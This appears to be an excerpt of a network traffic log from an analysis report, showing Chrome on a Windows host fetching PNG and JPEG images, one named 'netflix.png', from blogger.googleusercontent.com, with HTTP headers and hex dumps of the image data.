d0 01 a3 99 00 88 a4 60 04 21 40 04 60 30 23 1d 46 18 04 22 01 80 20 29 11 10 04 20 12 ea Data Ascii: PNGIHDR,sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATxt+747*%8?2UuJJe0/$i3`!@`0#F" )
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: fd b1 ad 20 24 0b 1b d4 9e 82 06 33 ba 83 ae 03 02 84 32 8e 32 87 f2 48 34 fb 5b 1e 73 d4 7a d8 62 57 6a d6 7f 25 93 4a 01 89 e4 91 4b 22 b6 8f 2b e0 43 92 64 5a dd b0 00 fa c7 83 f6 33 7c 2c 7f ab c5 c7 ef 9f af de 7f ce 72 d6 00 04 c3 51 7b 11 a9 7d f3 c7 4d 53 20 b3 9c 9b 9c da ef f6 28 55 dc 5f 5a 2f 93 86 e2 63 2f ca 1a 93 06 3e eb d2 3f 1d d6 7a 68 86 76 43 10 f5 a9 84 10 62 1b 6f 6b 27 43 81 4e 18 e4 a4 8b 2e 7a e9 01 e9 30 a3 1b 59 9a 40 d1 68 a5 7f c6 e1 02 2d 72 5b 3c 96 8f e5 f6 57 24 c9 41 0c a5 8e a0 d7 fe 36 3e 95 60 86 c4 b6 67 29 96 17 dd 18 83 06 32 c9 12 23 28 a4 60 a3 09 97 19 25 cb 54 ac ba 2c 95 c9 2c 11 a1 64 4a e5 16 e6 07 cb ec d5 d8 2e 19 38 78 7b 6f 29 b7 bf 6d dd 68 79 4a 90 bd 68 e7 1a 6d 16 8e c0 f5 35 69 8f bf d0 d9 bc 4f 5d Data Ascii: $322H4[szbWj%JK"+CdZ3\|,rQ{}MS (U_Z/c/>?zhvCbok'CN.z0Y@h-r[<W$A6>`g)2#(`%T,,dJ.8x{o)mhyJhm5iO]
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 3e 1f fa a8 83 44 1b 9f ef 54 c0 31 a1 0d 6b f7 c2 f6 4d aa 41 66 07 0d 76 d4 6f fb d9 ad 84 f5 23 e6 63 c3 3b e1 70 7c 03 37 e0 dc fe 90 7d c3 15 26 b4 d2 fe 8a 9a 5a 22 64 fb 3a a4 68 50 5b ed be 43 7d bc 9f 8d a5 cb 63 1c 6b 43 95 67 3c 99 89 fe ee c2 07 10 90 42 82 56 c4 a9 54 2e 59 ad 94 c7 c5 71 2b 01 4b ba 3f 3c 65 31 6c f5 8b fd db cd 2b d6 c3 f5 5a b6 33 83 24 a5 94 ac db 7b 38 6d 1c c0 d9 e6 c9 5a d7 da 58 68 1b 12 08 29 29 0f 7d f6 cb 0f d7 d5 2c 45 93 94 24 87 cb 4d 04 dd 39 1c ee 66 b6 35 70 6f d9 5e c3 13 dd 1a 28 99 6d 47 35 36 7e ab 37 18 e9 f4 01 2b 27 4b 0e 13 9c cd 18 ab 53 22 ee b4 01 02 e6 1c 13 b3 f4 70 d0 07 cc 08 98 94 d8 6f ae 0c 85 25 21 0b 65 86 3e 1d 4d 99 4d a3 bb f7 fd 16 c7 12 ab d0 0f 4d db 02 7d 04 06 29 10 2c a2 09 be f7 Data Ascii: >DT1kMAfvo#c;p\|7}&Z"d:hP[C}ckCg<BVT.Yq+K?<e1l+Z3${8mZXh))},E$M9f5po^(mG56~7+'KS"po%!e>MMM}),
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 97 e6 e4 35 e0 85 e4 8b 08 6a cf 6d de 61 a1 11 6e 70 ec 54 87 55 94 c0 39 c6 d7 98 d3 8c 66 6e 36 38 26 da 47 03 66 55 23 aa aa 14 2d fb bf d9 db 22 c1 d5 21 87 71 b8 fb 50 e9 6a 99 49 86 92 cb ca 18 98 99 51 19 8a 6d b8 1c 86 0c d0 44 01 16 58 d1 cc 54 55 54 b6 17 64 a2 6e 83 74 c7 66 c9 b9 a9 1d 66 32 23 2b 71 2f b8 3b dd e5 cc 2e 70 2c e4 62 70 a3 83 ee 28 e8 5d cb 6d e2 35 49 c3 ed ca e0 6a 86 06 12 22 40 db 7a 1e 8a 85 98 cc 40 06 33 3f 83 2a 1d 40 7e 2a 4a 1a 96 76 ec c0 0d 8d 41 72 0b b0 1e be b3 bd eb e6 6c fe a1 da 7d 3b 5b 8d 1f 80 da 55 3c 1f 6a 59 2f 47 a1 80 4a 30 6c d3 0e 7e b8 d0 ad d2 46 33 53 15 00 73 b4 95 fc a8 a4 a5 f3 29 f5 a8 74 c5 36 09 82 90 99 99 90 a3 1e be 2a 46 21 88 cc 80 52 19 3b 7f 1b a8 a0 d1 02 9e 48 29 93 fa 88 76 4f f5 Data Ascii: 5jmanpTU9fn68&GfU#-"!qPjIQmDXTUTdntff2#+q/;.p,bp(]m5Ij"@z@3?@~JvArl};[U<jY/GJ0l~F3Ss)t6*F!R;H)vO
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: c6 57 5d 5d d5 32 5b 7a 98 d7 a5 88 ba 96 15 67 6b b4 51 89 52 33 33 82 d3 fd 35 e7 d7 e5 33 e0 e4 4d cb 31 33 15 a9 f7 0a 65 a8 62 d1 94 14 0a 00 c3 00 f9 20 0d 99 b9 dc 68 49 54 09 16 32 90 89 64 21 eb 07 72 ca e8 04 58 26 a8 ad c5 13 e8 d9 67 6c 86 d6 13 7c 2c eb a7 42 12 1f 9f 3c cb f5 d4 0c fc 1b 20 55 ff bb 6d d5 a3 de 9f 6f f8 a7 f6 7e fc a5 3a 70 ac f3 e7 10 32 3b c9 50 0c 7a c1 33 9d 76 04 6d 6e a0 9d 4b 79 68 6b f9 4e 80 3b 84 ef 34 9d 89 89 28 8d 4d a9 4a b7 d1 6c dc 79 64 52 d5 42 b5 f1 63 15 64 8a 6e 46 0e e7 d3 92 f5 c0 04 b4 ef b6 34 31 0d e9 c8 80 42 91 9d da 69 5f a7 6a 67 db be 97 fd e0 6d 68 8c 63 d7 66 e6 a4 2f dd 4b 91 55 be 0e 63 55 6f 98 db 98 d3 e6 9c 63 f8 b0 6a f0 1b c6 39 fd 35 fc 72 1b 66 97 fb 35 6d 4e 1f 6e c3 1a ed 39 e1 6d Data Ascii: W]]2[zgkQR3353M13eb hIT2d!rX&gl\|,B< Umo~:p2;Pz3vmnKyhkN;4(MJlydRBcdnF41Bi_jgmhcf/KUcUocj95rf5mNn9m
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 2b f6 bb d8 e5 f2 bd 49 d8 56 ec 68 e6 3f a4 4f ff 87 0e ea ec c7 d1 3e fb fd bb 0f 84 dc d8 fe 7c ef 81 97 1d 1d f5 57 f7 8c 09 22 b9 6b a4 d9 1d 9b cd ec 1f 87 d9 fe 90 48 c8 da 8a ef ea b0 16 c0 9d 60 29 c5 b1 0d b6 4f 19 41 3b db 7e 6f 76 da bc 4a c0 da 15 6b 97 65 b0 12 f7 3d 49 64 27 b6 8a c3 68 2c 87 0c 4b 2b 3d d8 cd 6a f5 68 95 cd de 90 a1 8c 8e b9 dc ac 89 42 8e 22 88 aa 04 55 06 27 a1 31 fc af af d7 7f cd f9 1a c3 ad dd 76 e5 21 dc 6c b8 f9 70 a1 62 e9 0a ad aa 60 45 a0 a2 d4 b1 f2 a7 2b d7 8a 75 af 88 58 99 2b f2 e7 bd be df ef f7 fb fe fe f9 19 9f 58 a9 d4 4f 27 da eb 28 52 62 6e 7a e6 97 26 9e a4 18 36 88 fc 34 72 e7 4f 99 62 54 92 3e 61 09 8b 15 31 af 39 dc 86 5b 06 b2 9a 7b dc 7b 3d 95 c4 03 46 bb 07 6a ef 9c bb bb 19 81 5e 88 61 c3 cd 37 Data Ascii: +IVh?O>\|W"kH`)OA;~ovJke=Id'h,K+=jhB"U'1v!lpb`E+uX+XO'(Rbnz&64rObT>a19[{{=Fj^a7
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 53 db fc 7d f9 fd 9e 3d f8 e9 1f 40 d7 8e 15 e9 af 7b 0c 01 05 25 09 71 7b a1 4f 5d 3d 0f b5 b3 4d 55 7f d5 4f b8 35 dd aa 1f ae 72 66 40 44 74 e8 5d f3 32 f6 0b 35 7b aa 57 b8 2b 27 64 94 0c 99 a7 a9 87 68 5e e1 d4 d9 9a d9 18 f3 eb f5 fa ba ae 69 a4 e9 32 8e 7a 0f 91 f1 4c 84 a8 16 0e 77 1b dd 21 61 48 25 98 49 3d 15 6f 09 22 52 91 5a a9 3b f4 0e 7d bf d7 1d 11 89 77 c6 8a 95 2b 32 42 2b e2 5e 58 81 cc 51 35 93 55 b9 cb cd a4 3e 9b 4f 40 a7 5c 89 0d 7b 8d 0f 14 f8 bd a6 9f af e2 5d cb 29 ee 76 99 6d 5f 05 0a a9 bc 63 89 a3 ca 8d 98 79 92 4b 56 b9 83 66 04 08 56 2a 98 24 dd 1c 89 48 75 53 fd ba a7 f9 5f 63 d6 ca c0 8c 63 cc 49 1f 46 83 0f 9f 63 0e f7 42 52 36 94 09 5b 8d 5f a6 db 74 cb 4c af f2 22 37 73 37 71 09 ef 88 af 31 00 2c 42 40 44 b4 04 e4 44 44 Data Ascii: S}=@{%q{O]=MUO5rf@Dt]25{W+'dh^i2zLw!aH%I=o"RZ;}w+2B+^XQ5U>O@\{])vm_cyKVfV*$HuS_ccIFcBR6[_tL"7s7q1,B@DDD
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 65 a9 2a 18 0e d4 04 92 0d a8 73 8f 78 e9 e7 f2 64 1a 69 92 62 cf 6c a2 b1 72 64 3b e0 03 80 9e 6c 03 a0 07 c5 76 0e b9 54 b4 1b 4f d1 05 c6 52 0d ed 80 bb f9 f0 39 c6 d7 bc fe 7a 7d fd d7 2c c8 0b ab 1a 33 a5 84 cc 2c cc 66 64 b0 82 a6 cc 08 41 99 2a 7c 66 ac de af 52 82 8e 4b df 77 dc 11 df f7 fa fb e7 fd bf f7 fb e7 fb 1d 11 0a 29 92 99 5a 77 bc 6f ae a5 08 e4 a2 12 59 4d a6 18 3d 92 44 44 6a 67 03 b5 99 e3 6d f0 c8 6e 1a da de 6c ff 62 07 f8 d5 fd eb dc 03 43 5c 28 ef 4d 7e 30 84 1b 36 a4 18 8a 1a 44 e7 65 15 b3 d9 a0 dc 4b b6 47 65 ef 47 a4 aa f7 07 00 6c 78 b1 2e 56 35 db 55 dd e1 16 ca f7 5a 5f c3 eb 23 15 2d cc 5d 5c 2a 88 d4 75 55 9f 44 15 bd 44 44 ac d5 05 3d 4e 1a d2 af f1 75 bd 60 74 72 dd 2b a9 d7 1a d3 b1 0c d3 fd 75 5d df df 3f e1 c6 e1 c4 Data Ascii: esxdiblrd;lvTOR9z},3,fdA\|fRKw)ZwoYM=DDjgmnlbC\(M~06DeKGeGlx.V5UZ_#-]\*uUDDD=Nu`tr+u]?
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: f5 03 74 a6 6b 5b 99 e2 12 bb 34 c0 a6 8f d7 f0 cb 79 99 5f d3 0b 55 3b 39 cd cc b8 14 51 99 e0 3d 33 ad 26 42 47 a4 f5 00 27 2b b2 b1 5b 23 c8 10 53 19 51 5e c6 da c6 86 b0 42 11 8a e0 aa 66 d4 c4 ee 8e 45 85 6c ca da dd 41 2b ac d2 a7 79 6d 96 ec 9f 2f 6d 24 d2 6d 30 6c d3 dc 07 85 9e 45 e4 73 f0 45 54 4f 0c 28 eb 14 50 3b 52 ab c4 c0 73 71 02 64 4d 0e ef a1 76 d5 d6 90 b9 99 0e 72 d0 2f 0e 33 53 cf da e4 e5 76 cd 59 d1 f8 74 1b 3e c6 30 42 46 b8 f9 f0 41 b3 05 bd 23 67 d6 cc 93 2a ac 2f e2 56 2b b3 0c d8 8a b8 23 ef b5 20 0c af 79 35 52 55 f9 9a 59 cd a2 54 12 ba 86 5f 3e 86 9b 99 a5 19 cc 59 85 e9 cc dd 25 43 e8 c9 9c e3 f4 1b 80 d8 35 6f 1d 8a 9d a8 ab a5 94 87 0a ad e8 94 3b 6e e4 ee 9e 25 3f f1 db 46 1e a5 7c ea 46 87 cd 60 e2 49 7c 9f b7 6e 1c 82 Data Ascii: tk[4y_U;9Q=3&BG'+[#SQ^BfElA+ym/m$m0lEsETO(P;RsqdMvr/3SvYt>0BFA#g*/V+# y5RUYT_>Y%C5o;n%?F\|F`I\|n
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 22 ee 88 fb 8e ef fb 4e 29 65 4a 0f e5 1d 2a 53 fe 5e 71 67 86 90 59 b4 0e 40 17 7a fe 00 13 06 e4 0a b5 06 ec de 4b ad 1d c0 62 30 03 f2 2c fa 8d 35 b6 08 15 e8 ee 4c 70 05 9c be 3d 9e b0 e9 31 ee 41 b1 6d 94 1e 95 3d 7f e0 8e 65 d4 76 ac fd 5e ad 71 b5 75 79 0d 4a 2b 8a 79 9a 4d b3 e1 36 dc ff 5c d3 c8 d8 25 b4 59 75 0b 7d 3f 8d d6 da 89 6e 42 2f d6 0a 62 d0 30 99 99 04 dc 1c 42 84 32 57 c1 95 aa a6 cd 1e 82 93 22 dc 5c 54 4a 77 06 14 f7 fb 6d 66 d7 1c 4c fe bc ef 9f 7b c5 aa e4 0d a2 e7 08 55 8d 55 d5 a7 b7 1c 97 33 c3 09 e1 f0 e1 fd 80 b6 ad 24 b1 b3 53 15 20 6f 14 d7 51 b6 60 e4 60 8d 98 68 c3 67 ad 7c fc 4c f8 f3 a9 0d 05 3a da e0 21 24 9e 91 2f 65 fe d0 d4 d1 e8 8b 3d 7b 55 2a 7a da d9 b4 63 be 4a b5 0b 35 fc 06 ed f4 c5 d8 73 2c 50 aa 01 1c 0b 54 Data Ascii: "N)eJS^qgY@zKb0,5Lp=1Am=ev^quyJ+yM6\%Yu}?nB/b0B2W"\TJwmfL{UU3$S oQ``hg\|L:!$/e={UzcJ5s,PT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49812	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	637	OUT	GET /img/a/AVvXsEgc5N711LzOz4iNi3xi8pKVeX5gkv9MZWih5ACBCf6qslJOmWdT2u9DMUW8EPNyL_vWulCbbU2Y_UNgTzB7DL-R8FTebR49t2DM3JNeXbA8ROjCJUcgmT_sToEDzUzZ9bl5_ETfIk1YAUbRLEPhE7XNYdyr6NuAu0boEGYH0PjvTciStuR24xcyccktybY=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:52 UTC	466	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd3e" Expires: Tue, 15 Oct 2024 22:39:52 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="netflix.png" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:52 GMT Server: fife Content-Length: 3514 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:52 UTC	912	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d 06 49 44 41 54 68 81 bd 5b 7b 70 54 55 9a ff 9d 73 1f fd 22 9d ee 74 67 02 e4 c1 2b 81 48 20 02 c2 80 04 42 2d a8 0c 94 a3 ee a6 8a 71 37 38 d1 75 59 4b d7 1d 67 c6 72 77 2d 16 a9 9a da 7f 66 ca 5a a7 74 9d 2d cb 31 95 d1 9d 29 71 06 c6 d2 9a 88 12 56 1e 09 84 49 4c 14 21 81 c5 40 02 09 Data Ascii: PNGIHDR<<:rsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATh[{pTUs"tg+H B-q78uYKgrw-fZt-1)qVIL!@
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 28 76 09 32 08 80 a9 d2 08 00 06 a0 d1 d0 30 ca a7 07 03 0b 89 80 35 54 04 07 9f 56 57 00 30 c6 81 b3 4c 83 79 18 f1 2d 7a 7a 7a 36 bd fd f6 db bf 5f bb 76 ed 03 56 ab 75 34 1c 0e 9b be 47 ba ba ba a6 3d 14 04 01 63 63 63 78 e5 95 57 fe e3 dd 77 df 9d d1 8c ef a2 22 3e b1 b8 e0 02 81 3e a5 d9 04 80 83 50 fc 44 0f e1 75 3d 32 ad ee 0e 2a 61 bf e8 80 8e e9 1f 4b 06 70 99 1b f8 67 7d 02 b1 99 1a 31 89 aa aa aa f7 5f 7a e9 a5 bd 4b 96 2c 09 c7 62 d3 6b 51 5d d7 31 b5 48 92 84 86 86 86 17 66 43 16 00 34 ce d1 cb 19 a2 e0 d3 8a 02 0e 85 33 ec 10 24 d3 ba 06 00 15 1c 5a 92 32 f5 03 ce 84 96 96 96 47 5e 7e f9 e5 5f 31 c6 60 18 c6 34 6e 34 14 0a e1 d6 12 8b c5 f0 d1 47 1f dd d3 d0 d0 70 60 b6 4a 04 00 43 cc 40 04 fc 1b b3 be b5 28 e0 a8 24 22 4a a8 60 5a 7f ea fb Data Ascii: (v205TVW0Ly-zzz6_vVu4G=cccxWw">>PDu=2*aKpg}1_zK,bkQ]1HfC43$Z2G^~_1`4n4Gp`JC@($"J`Z
2024-10-14 22:39:52 UTC	1224	IN	Data Raw: f1 5e a9 40 a1 9a 9c 24 a6 8b b2 b2 b2 3f 5b ad 56 83 2a 8a 82 ea ea ea df 7b 3c 9e 81 0c eb f8 06 b7 ee 5a bd 6f a8 08 21 89 59 83 a3 88 52 58 40 10 03 40 32 34 92 09 21 ac ba ba fa 3d ce 39 28 63 0c 0b 17 2e fc fa 81 07 1e f8 9f 8c 48 37 53 78 cb ff cf 19 3a 2e 71 03 b2 09 19 86 f8 66 bd 13 04 4a 06 fb 78 dd ba 75 27 d7 af 5f ff bf 9a a6 c5 cf 96 fc 7e 3f 56 ad 5a f5 9e 20 08 59 f3 d6 09 7a 3a 38 5a 8d 18 2c 49 36 e3 09 80 42 4a a1 73 20 53 13 d4 bd f7 de fb e6 c4 c4 04 0f 04 02 f1 6d da 9c 9c 1c 6c d9 b2 a5 a3 ba ba fa 0f 19 d1 30 03 8e b0 28 42 c9 bc 35 38 0a 29 85 0c 92 91 a8 ab b8 b8 f8 c2 ee dd bb 3f cc c9 c9 81 c7 e3 01 f5 fb fd f0 f9 7c f0 fb fd d8 ba 75 eb 7f 11 42 b2 be db d2 6e e8 49 9d 57 22 d4 cc 21 14 2a d2 9f 8f 77 ee dc f9 4a 24 12 09 dd Data Ascii: ^@$?[V{<Zo!YRX@@24!=9(c.H7Sx:.qfJxu'_~?VZ Yz:8Z,I6BJs Sml0(B58)?\|uBnIW"!wJ$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49811	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	637	OUT	GET /img/a/AVvXsEhNSBCxza-9Vm_wzzSDljXblYAqFphshx9W6Cj3v4FTMfxOabEclNgX653uZHpemqUXK4ZjSlXdRCCJZEfqsfS_ZGG5w1Plyw7VR-wR3bhPAqUlEBycdvcymliiWooHhIo_A9iKKpN03q6X_KdEEEtocrAdBpQORzh0zJosW1k9ijrOx0paMjC7iiGa4jQ=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:52 UTC	488	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd47" Expires: Tue, 15 Oct 2024 22:39:52 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="055479600e02acd988f06fdf251.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:52 GMT Server: fife Content-Length: 12590 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:52 UTC	890	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 a9 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220,C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: bb de 73 24 9b d2 a4 f3 3e 92 27 bc 77 98 e8 4b 69 f3 ba 98 45 76 6b d0 6b ed cd 1e 5a 59 ee a2 a5 dc 89 b5 2b ca c3 ce 2c e8 f3 29 af f5 bc 09 7d ea 75 fc ad 6d ea 0d f3 34 c3 d0 73 f8 e6 53 74 34 a8 06 59 eb 30 12 e0 c0 b9 ce 03 8d 24 2c 7d 00 12 8a 98 25 11 d0 4f e8 1e 6f d7 c5 bb 68 6b 5e e4 bf 35 2d 8d 26 d9 d0 74 39 63 45 5a ee 60 1d 27 39 b5 9b 2d 82 7a bc 7e 85 7e 17 41 4d 45 59 2c 22 2d e5 df bc a6 0e 0b a1 e4 ec 96 44 11 b8 b6 fc f0 8d a1 1d 24 86 db 6b 94 cc 44 25 0a 6b 9c 27 36 46 c1 34 d0 20 65 a0 eb fa 2e 5f 40 bb 2c 57 71 17 a1 74 78 59 a6 a1 93 ca c5 2c cc b1 3c 51 73 1b 6a 4e 88 e2 d2 d9 94 9e 3f b3 c7 ad 26 c9 57 ab a9 89 4b 0c 8a 00 26 29 24 29 22 99 20 54 80 45 02 2d 4e 1e 41 72 ac 45 62 c9 d2 4f 52 4b 2a 9a bc ec 1e 28 de 19 cc b3 14 Data Ascii: s$>'wKiEvkkZY+,)}um4sSt4Y0$,}%Oohk^5-&t9cEZ`'9-z~~AMEY,"-D$kD%k'6F4 e._@,WqtxY,<QsjN?&WK&)$)" TE-NArEbORK*(
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 7b 16 5c ab a9 a3 a7 66 f5 1a d7 aa 67 d9 46 34 ea 61 6c 3d 32 ca df a6 f5 0c 8a 6a c5 1e 49 f1 f5 6e 6c fd 63 ee c3 47 d3 a6 6e 9c 76 ca b7 5a 6b 1c 78 87 98 5e 50 f3 51 a6 67 bf b9 15 4b 2e b4 02 17 0e 83 63 1c b0 6a a6 45 0c 14 a1 9d 40 f6 ba 27 db d7 fb ff 00 1f e5 f4 56 3c e3 bb 69 89 e3 5b 05 8a fb 67 6d d1 53 84 76 e3 37 e6 f6 0d 6d 6c 23 1e 50 30 42 e7 6e 85 45 72 ce 2d 41 4f 16 86 65 e3 08 f2 c0 9f e0 d4 3c d3 e1 79 4d c1 a3 3f ad ce 53 98 23 7e 79 45 3a 36 10 00 9b d3 13 b0 27 e5 0c 3c 78 b0 f4 69 af f0 ff 00 7f 40 89 f9 2f e0 3e c7 f1 6f f5 a7 da af b3 7e 46 59 29 fb 24 ba 34 af ec 7f 25 fc 44 ff 00 cc ff 00 b0 fd cc 3f 73 f5 7f ff c4 00 28 11 00 02 02 02 00 05 03 04 03 00 00 00 00 00 00 00 00 01 02 11 03 12 04 10 13 20 21 22 31 51 05 30 41 61 Data Ascii: {\fgF4al=2jInlcGnvZkx^PQgK.cjE@'V<i[gmSv7ml#P0BnEr-AOe<yM?S#~yE:6'<xi@/>o~FY)$4%D?s( !"1Q0Aa
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 6f 35 9b 29 f1 56 85 0e 0b 21 58 6a 36 4f 55 70 4b 3f 44 1d 19 7a aa 6f a6 e1 c5 a2 73 59 62 7f 45 b3 be 41 18 ae a9 d1 02 71 81 cf c6 15 07 51 a8 d6 65 2d 25 dd 13 cb 9a d3 80 8d 34 4d a5 5f b4 7b 4b 49 2e f4 4e a6 ce 10 d1 07 c7 9a c4 1d 6f 24 31 de 14 31 c0 79 a9 73 e4 f5 08 1c 21 cd 8e aa f8 27 f2 c4 23 00 03 be fd eb 2b ca e2 85 21 f8 be a8 63 a7 99 5f 4f 05 c8 f9 1b ac 8f c4 16 8a ce 70 51 50 db a9 57 0d 23 c0 ad 95 a6 dd a3 b5 e8 17 b6 68 7b 3f 33 54 d2 8c 25 56 65 21 15 18 63 9d d1 a9 8c c9 54 3d ab 8b f1 ce 13 d1 55 70 fe 9b 5a 3f 75 b2 d4 31 80 fe f0 83 e2 59 66 c2 67 64 5d 8d c7 ac a6 16 6c f5 81 c3 72 ee ab 9c 78 f7 24 12 15 dc 4f bd d1 59 ce 1f 35 c5 f4 56 85 9e 93 4f c9 46 15 69 f2 53 2b 29 56 7b 0c 0d 31 2a 94 e0 3c b4 05 20 3d ae 4e 34 40 Data Ascii: o5)V!Xj6OUpK?DzosYbEAqQe-%4M_{KI.No$11ys!'#+!c_OpQPW#h{?3T%Ve!cT=UpZ?u1Yfgd]lrx$OY5VOFiS+)V{1*< =N4@
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: a5 7d 56 d1 b5 5f f0 30 fa 2b d6 a5 62 54 af 44 35 87 86 13 d2 a5 4a fa 13 d1 ed ff 00 c6 40 b8 45 67 d2 ad c5 78 81 ca a3 4d ee 55 07 86 0c 14 32 e6 57 f0 25 35 cf a3 f6 f4 7e 9a f4 f6 85 59 8b fa c2 04 0f 4e 84 e8 ac 7a 2b e6 2d 6f 0f a2 de e5 65 7a 3a 69 f1 1c 16 55 97 ed 2b 31 ae 9e 86 f2 5f 6f e7 3e 8e 3b c0 82 67 0d 79 16 62 64 e0 c5 84 b6 80 c4 4e 91 33 1b 49 90 75 48 f9 1a 19 70 cc 48 fa 38 c7 a3 af fe 32 05 c0 84 10 56 0b 62 c0 d5 44 f8 98 c0 57 bf a1 a8 aa b6 93 1c 4c 2a a1 07 15 a8 9c 92 a5 4d 4c ab 8d fc 7b c5 8d 24 a9 52 a3 fc 55 ea 10 f4 19 05 6e 55 4c 45 dd 4e 98 be 9a 85 69 44 4e 27 b2 20 80 b3 a2 0f ba 00 a7 fd 44 8a a3 05 b3 2e fa cb 00 29 31 e6 64 de 7d 1c 63 86 27 72 0a 0d c4 c8 cd ae 26 12 b0 56 22 7d 35 98 95 e9 c7 de c4 55 58 3d e2 Data Ascii: }V_0+bTD5J@EgxMU2W%5~YNz+-oez:iU+1_o>;gybdN3IuHpH82VbDWL*ML{$RUnULENiDN' D.)1d}c'r&V"}5UX=
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 1b 01 e9 bd d2 a1 e7 43 01 6b e0 3f a8 dd e6 e5 81 7e 88 8e 6d 9e aa c1 bf 0c 0d 5b 1b 1d 11 97 74 f6 59 c4 49 af 02 dd 90 bd 76 bd 9e be 33 00 e7 38 c9 29 d7 1b 35 96 56 8e 61 2d 80 79 3e 05 bb 77 95 17 77 89 eb 5f fb 11 ac 58 28 5c af f1 51 62 47 20 66 33 13 c5 11 4c 20 f8 79 8c de 08 ea 8e 86 67 38 74 d2 71 90 e9 00 e1 56 0b b4 15 0a e0 e7 b6 a7 25 4e a5 7c 4c 3d 23 dc 98 72 fc cf 27 d0 41 e9 99 cf 11 07 75 3b 1e f2 fd 65 d3 9c 4b b0 62 a1 bb f2 04 3e b6 86 73 fd 15 17 ec 14 e9 cc 5a 59 4a fa bc bf a8 63 00 5c 74 b4 fe ae 38 ab 5c b6 30 fe e6 66 2c 3d ea e3 66 a2 98 18 30 41 d7 25 98 47 05 85 b3 bb 47 95 39 b6 3e d9 cd 3e 92 da 4a a5 3d 23 